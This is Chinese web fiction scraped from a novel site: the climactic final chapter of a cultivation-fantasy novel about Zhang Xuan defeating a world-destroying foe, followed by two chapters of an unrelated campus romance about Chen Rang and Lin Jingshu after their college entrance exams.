洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第43章 我为何不能有姓名 第四十三章 我为何不能有姓名 陈让跟周女士聊了大概半个小时。 他不知道的是——夏灵珊在教室等了他起码二十分钟。 夏同学是真想再找陈让好好聊一聊——奈何一直没找到机会。 从上次游泳馆偶遇、到现在都半个月了，她今天才再次见到陈让。 说明这家伙就是在故意躲她！ 左等右等，班上同学差不多都走-光了，始终没等到陈让，夏同学变得烦躁。 陪她苦等的牟佳佳，彻底没了耐心。 “灵珊，别等了吧，陈让这家伙，也不知道还要跟老班聊多久呢……再说了，哪怕等到他又怎么样，这家伙肯定不愿意听你讲的。” “这个……” 夏灵珊叹了口气后，还是认可了好姐妹的分析，表情变得委屈又失落。 “佳佳，在小陈眼中……我真的已经变成什么讨厌的东西了吗？” “这个……灵珊，还是说说你自己吧，你到底是怎么想的？” “什么怎么想的？” “对陈让啊……你到底是发现自己真的喜欢他，还是不忿于他突然就不理你后、产生的‘意难平’……” “佳佳，这两者有什么区别？” “区别大了去——喜欢里面，虽然有意难平的成分，但只有意难平的话，绝对不是真的喜欢。灵珊，你没发现吗，你最近对陈让都不是上头了，而是魔怔……所以，你现在的委屈和难过，到底是因为他，还是因为你自己？” 牟同学虽然没有谈过恋爱，但这并不妨碍、她能够像个“过来人”、去剖析夏灵珊。 第一，当局者迷，旁观者清。 第二，没看过猪跑、还没吃过猪肉？ 作为一个言情小说爱好者，从张恨水到琼瑶，顾漫到桐华，甚至还要加上郭小四，轮番的“荼毒”，足够让她成为一个理论派情感大师。 人类的情感存在共性——世上有的，书上就有。 “这个——” 夏灵珊陷入了纠结，然后开始自我剖析。 委屈肯定是有的。 陈让以前对她那么好的，凭什么说不喜欢就不喜欢了？ 吃醋大抵也是有的。 譬如她看到陈让跟别的女孩子走得近——譬如班上那个肖茜——她就气不打一处来！ 喜欢或许也是有的。 她一直就不讨厌陈让。 而且这段时间，陈让相比之前，又变得那么优秀和闪耀——慕强终究是刻进女性基因深处的本能。 但要说她心里最浓烈的情绪——那肯定还是委屈。 想到这里，夏灵珊蓦地打了个寒颤。 “所以……我我现在的委屈和难过……其实不是因为小陈，而是……因为我自己？” 一念至此，夏同学突然觉得有些恶心——觉得这样的自己有些恶心。 难道真如小陈所言，她从来就没有学会如何去爱一个人，也根本就没有真正去爱一个人的能力？ 要真是如此，她又凭什么去责怪、小陈此刻对她的冷漠和疏离呢。 “佳佳，我们走吧……” 夏灵珊长长叹了口气。 倒也不是彻底放弃了，再找陈让聊一聊的想法。 而是她真正意识到了，此时的她，并没有真的想好，该怎么聊。 自己的确还没学会如何去爱一个人。 小陈走在了自己前面，且并不愿意停下来等自己。 如果自己不想就此成为小陈心中可有可无的某某某，那么就必须要有一个明心见性的过程，去经历小陈以前经历过的所有忐忑和痛苦……以迎来真正的成长。 这个过程注定漫长。 但是夏同学对自己有信心。 她相信等自己真的学会去爱一个人时，小陈还会在那里的。 毕竟肖茜之流、根本威胁不到她。 除非……小陈真的在跟林静姝谈恋爱。 但是……那又怎么可能？ 夏灵珊没有继续等陈让，始终在等他的是林静姝。 两人早就发短信联系过了。 所以陈让去跟周女士唠嗑时，填完志愿后的学神少女、乖乖站在校门口公告牌下，等着陈让带她玩。 这段时间陈总忙着搞钱，的确冷落了林静姝。 林静姝却表现得很乖，能不打扰陈让就不打扰，只有实在忍不住心中翻涌的想念时，才会给他发消息。 频率真的很低，一天也就两三条。 其实陈让早就跟她说过，自己再忙，也不会缺跟她聊天的时间。 想找他聊天随时都可以，也不用每次都问他“在不在”。 毕竟不出意外的话，未来大几十年他都是在的。 但是林静姝每次的开场白，依旧是那句“在不在”。 陈让甚至产生了这样的感觉——林静姝在他面前、分明有些自卑。 陈总觉得这很没有道理。 毕竟她才是住在城堡、生来就拥有全世界的真公主。 所以两辈子的阅历加起来，也没有办法-理解——这大概就是某人从来不认真听语文课的弊端。 张爱玲说过，真正喜欢一个人，就是卑微到尘埃里，再从尘埃里开出一朵花。 客观层面，公主的确拥有全世界。 但在公主的视角里——她真的就只有他。 里面的逻辑，并不冲突。 “你在桥上看风景，看风景的人在桥上看你。明月装饰了窗户，你装饰了别人的梦。” 校门口公告牌下，学神少女俏生生站着，无形中就成了许多少年眼中、世间最美的风景。 不过走来过往的男孩子们，却又没有哪个、目光敢在她身上逗留超过三秒。 把陈让抛开——对其他任何人，林大校花都是绝对是高冷。 表情是不可能有表情的。 目光永远是倨傲中带着点不屑的。 气场和气质更不必说，史诗级白富美，跟你开玩笑的哦。 所以又有哪个愚蠢又清澈的少年郎，扛得住林大美人冷漠的注视呢？ 尤其此时的林大美人，看着公告牌上贴出来的高考喜报，还微微蹙着眉头，字面意义上的“恃美行凶”。 公告牌最显眼位置，贴着德州一中此次高考的前三甲照片。 她这个市状元、“榜眼哥”顾惜朝，“探花郎”陈让，按照成绩依次排列。 这就是林大美人不愉悦的原因——她跟陈让的照片、被“榜眼哥”隔开了。 林静姝越看越不开心，有股强烈的冲动，把照片顺序换一下，让陈让和她挨在一起。 做了起码二十分钟心理建设，林美人终于鼓起勇气，尝试着去做，却发现够不着。 净身高一米七五的她，放在蜀省，已经算是鹤立鸡群。 但是贴照片的、显然是个身高超过一米八好几的男生。 “林……林同学，有什么需要帮忙的吗？” 此时一个男生走了过来。 月白衬衫，AJ的鞋子，高高瘦瘦，文质彬彬。 他真的很帅，是那种无论同性还是异性，都会欣赏的帅。 直接拉去演校园纯爱电影，都不用化妆的那种。 不过在面对林静姝时，这位大帅逼一样很拘谨，甚至说话都带着些结巴。 林大校花清冷的目光，落到了此人身上。 觉得眼熟，但是想不起来名字。 事实上，转学到德州一中整整一年半，她记住的名字，顶天也就十个。 妈妈说过的，永远不要在无谓的人和事上面消耗精力。 通常情况，林静姝绝对是个很听妈妈话的乖孩子。 这么多年，她对宋臻的“忤逆”屈指可数，且基本都跟某人强关联。 “所以……你……认识我？” 大帅逼明显噎了一下：“林同学，我……我们同班啊，我叫……” 还没来得及说出名字，就被林静姝打断。 “同学……你叫什么不重要，是有件事情，需要你帮忙。” 她指着公告牌，满脸高冷的吩咐。 “帮我把这个顾惜朝的照片，跟陈让换一下顺序吧，我想跟陈让挨在一起。” 要不说人家是史诗级白富美。 这番话，明明那么颐指气使，却又能如此理所当然。 大帅逼表情变得更加古怪，眉宇间带着无法准确描述的失落。 “所以，你是不愿意帮忙对吧？” 林静姝表情变得更冷。 突然就很讨厌这个人了。 明明举手之劳，却不愿意帮忙。 说话也结结巴巴的！ 不像她唯一的好朋友，能一口气说好多好多话，而且每一句都好听。 “我不是……我没有……哎……” 长长叹了口气后，大帅逼表情只剩下无奈。 “好吧，林同学，我帮你。” 花了大概三十秒，按照林静姝的吩咐，把公告栏上、“榜眼哥”和“探花郎”的照片互换了位置。 “同学，谢谢你。” “林同学，其实……其实……” “不跟你说啦——刚才误会你了，你是个好人！” 大帅逼显然是还想点什么——至少该告诉她自己的名字吧？ 林静姝没给他机会，给了发了张好人卡后，便朝着楼梯口小跑，小碎步哒哒哒的。 在这个过程中，她眼中的清冷逐渐消失、被满满的欢喜取代——她看到自己的好朋友了。 “其实……我就是顾惜朝啊……” 大帅逼眼中、顿时满满都是落寞。 虽然不是那么回事儿，却也抑制不住的想起一句歌词。 “明明是三个人的电影，我为何不能有姓名？” 第44章 一种很新的恋爱方式 第四十四章 一种很新的恋爱方式 下楼梯时，陈让已经看到了站在公告牌下面等他的林静姝。 以及顾惜朝。 虽说不同班，但是对于这位“榜眼哥”，陈总很有些印象。 毕竟市里面领奖金时才见过。 而且顾大帅哥非常高冷，居然拒绝了他这位未来大帝的搭讪，甚至还对他带着莫名敌意。 所以等林静姝满脸愉悦、小跑到他面前后，陈让问了她一嘴，刚才跟顾惜朝在聊什么。 倒也不是吃醋，人家同班同学，聊几句怎么啦。 林静姝却很疑惑：“陈让，你认识那个男生？” 换陈总很der了。 “难道……你不认识？” “我为什么要认识？” “他叫顾惜朝，跟你同班的……” “啊——他就是顾惜朝？” 学神少女的表情，有了些小尴尬。 终于想明白，在她视角中、跟陈让比起来简直一无是处的男生，刚才表情为什么那么怪。 陈让更疑惑：“林呦呦，你什么表情啊……刚才发生了什么？” 林静姝组织一番措辞后，把刚才的事儿大概讲了一遍。 陈总听完，终究没能憋住，笑得脸颊抽搐。 他多大个人精，瞬间想透了。 “襄王有梦、神女无心。” 喜闻乐见的单相思剧情呗。 林静姝瞥了一眼还站在公告牌下怀疑人生的顾大帅比，有些不确定的问某人。 “陈让，我刚才……是不是有点过分了啊？” “不过分，完全不过分，甚至可以说——干得漂亮！” 某人是真的很舒服。 让顾惜朝你小子装高冷，现在被真高冷给神圣裁决了吧。 该！ 学神少女得了好朋友夸奖后，表情变得非常愉悦，桃花眼中、满满都是跃动的光点。 作为一个重度“友爱脑”，她对某人有着近乎盲目的信任。 既然陈让说她刚才干得漂亮，那她一定就干的很漂亮！ 这一对好长时间没有维系革命友谊的好朋友，很快并肩走到学校大门口。 “林呦呦，下午我们去干嘛——游泳还是打拳皇？” “还是打拳皇吧。” 权衡一番后，学神少女选择了后者。 其实两个选项她都很喜欢——当然前提是跟陈让一起。 不过去游泳的话，陈让百分百会盯着她的胸看。 然后说些“这条黑狗真白”、“这个游泳圈真大”之类的奇怪话。 陈让倒也没细想——林静姝为什么选择去打拳皇、而不是游泳。 要知道缘由，绝对会狠狠吐槽。 讲道理，胸那么大那么白，凭什么不给看？ 还好朋友呢，吝啬，小气，抠门！ “林呦呦，那我们打车还是走路？” 这已经是陈总今天第二次让林静姝做选择。 因为他发现，林静姝每次跟他出门都没主见。 陈让觉得这样不好。 所以要多用选择性话术。 既能让林大美人有参与感、又能让她获得尊重感。 这会大大提升林静姝在跟他相处时的舒适度。 要不说老男人套路深。 这样的小细节，小男生们绝不可能注意的。 这里肯定会有同学抬杠——如果女生每次都是“随便”、“都行”、“无所谓”，又该如何应对？ 陈总的答案是，应对个der啊应对。 她都说“随便”了，你就该更加随便的对她。 妈妈辛苦把你生出来，是想让你成为一个优秀的人，而不是一条卑微的狗。 林静姝想了想，选择了步行。 走着走着，她开始蹦蹦跳跳，踩陈让的影子玩。 陈总表示很不屑。 “呵呵，幼稚。” 林静姝却是越踩越开心。 她笑意盈盈的看向某人。 “陈让，你也踩我的！” “我拒绝——” 陈让赶紧摇头。 堂堂“未来大帝”，有偶像包袱的。 “陪我踩一踩嘛，很好玩的，求求了！” 要不说某位学神少女的学习天赋恐怖。 经过这段时日的相处，她已经有些摸到某位未来大帝的命门——吃软不吃硬！ 看着扑闪着水汪汪的大眼睛、里面全是期待的林大美人，陈让终究还是没能拗过，开始陪她一起踩。 然后成功的在这个幼稚游戏中找到了快乐。 两人一路上都玩得不亦乐乎。 所以吧，做一件事能不能获得满足感，往往并不取决于这件事本身，而在于谁陪你一起。 半个小时后，两个幼稚鬼到了电玩城门口，都热的满头大汗。 “陈让，你先上去买币，我去买水给你喝！” “好的，我只要矿泉水啊，戒糖。” “知道的。” 陈让独自上楼，然后碰到了熟人——肖茜。 茜美女穿着电玩城的员工服，俏生生站在吧台。 看架势，竟是在打暑假工。 她先跟陈让打的招呼。 “哇，男神，这么巧啊！” “我经常来这家电玩城打电动的，茜美女，可以的啊，这是在勤工俭学？” “也不算吧，这家电玩城我舅舅开的，暑假玩家多，我来帮帮忙。” “这样啊，那是不是得让你舅舅给我打个折？” “男神，我可以不收你的钱哦。” 肖茜边说边抓了一大把币子，要塞给陈让。 陈总赶紧摆手：“这可使不得，你舅舅看到了，不得说你？” 肖茜先把游戏币强塞了陈让，然后表情变得有些揶揄。 “我才不怕他，真要说我，我就跟他说，老舅，不知道女生外向，胳膊肘都是往外拐的？” “……” 陈总分明觉得、这位川渝辣-妹在调戏自己，手中游戏币就是证据。 不过游戏币都强塞到他手中了，退回去倒显扭捏，也就受了。 此时肖茜换上了一副吃瓜表情。 “男神，我怎么听到些谣言，说你在跟一班的林静姝在谈恋爱啊，这事儿总不能是真的吧？”“听谁说的啊——你觉得这事儿靠谱吗？” 陈让正想阐明，虽然他跟林静姝走得近，但我们只是好朋友、天王老子来了也是好朋友时，肖茜接过了话茬儿。 “不靠谱，完全不靠谱——陈让，虽然你是我男神，但是跟林静姝……男神你别生气啊，我觉得你不配。” “……” “对了，你一个人来的吗？” “不是，跟一位朋友。” “谁啊？” 肖茜丝毫不掩饰自己对陈让有想法。 男孩子可以“窈窕淑女、君子好逑”，女孩子自然也能“既见君子、云胡不喜”。 川渝辣-妹的典型特质，爱与憎都格外分明。 所以肖茜迫不及待想知道，陈让跟谁来的。 男的还是女的？ 总不会是夏灵珊吧？ 讨厌是相互的。 夏灵珊老蛐蛐她，她其实也看夏同学很不爽。 “自己看咯。” 已经听到林静姝标志性哒哒哒脚步声、显然已经到他身后的某人，让开了身位，好让肖茜能够看到她。 呵呵，居然说你陈总不配，找滋是吧？ 得勒，满足你！ 看着陈让身后，顶着张祸水级鹅蛋脸的林大美人，肖茜直接石化。 要不是亲眼所见，杀了她、肖茜也不会相信，林静姝这样的史诗级白富美，会出现在电玩城这样的地方！ “陈让，你现在要不要喝？” 林静姝并没有看到表情错愕的肖茜。 或者说看到了也直接忽视——她眼中只有陈让。 “喝啊——陪你踩了一路的影子，都渴死啦！” “唔……我不是去给你买水了么。” 林静姝边说边拧开了瓶盖，然后把矿泉水递给陈让。 动作无比自然，甚至丝滑。 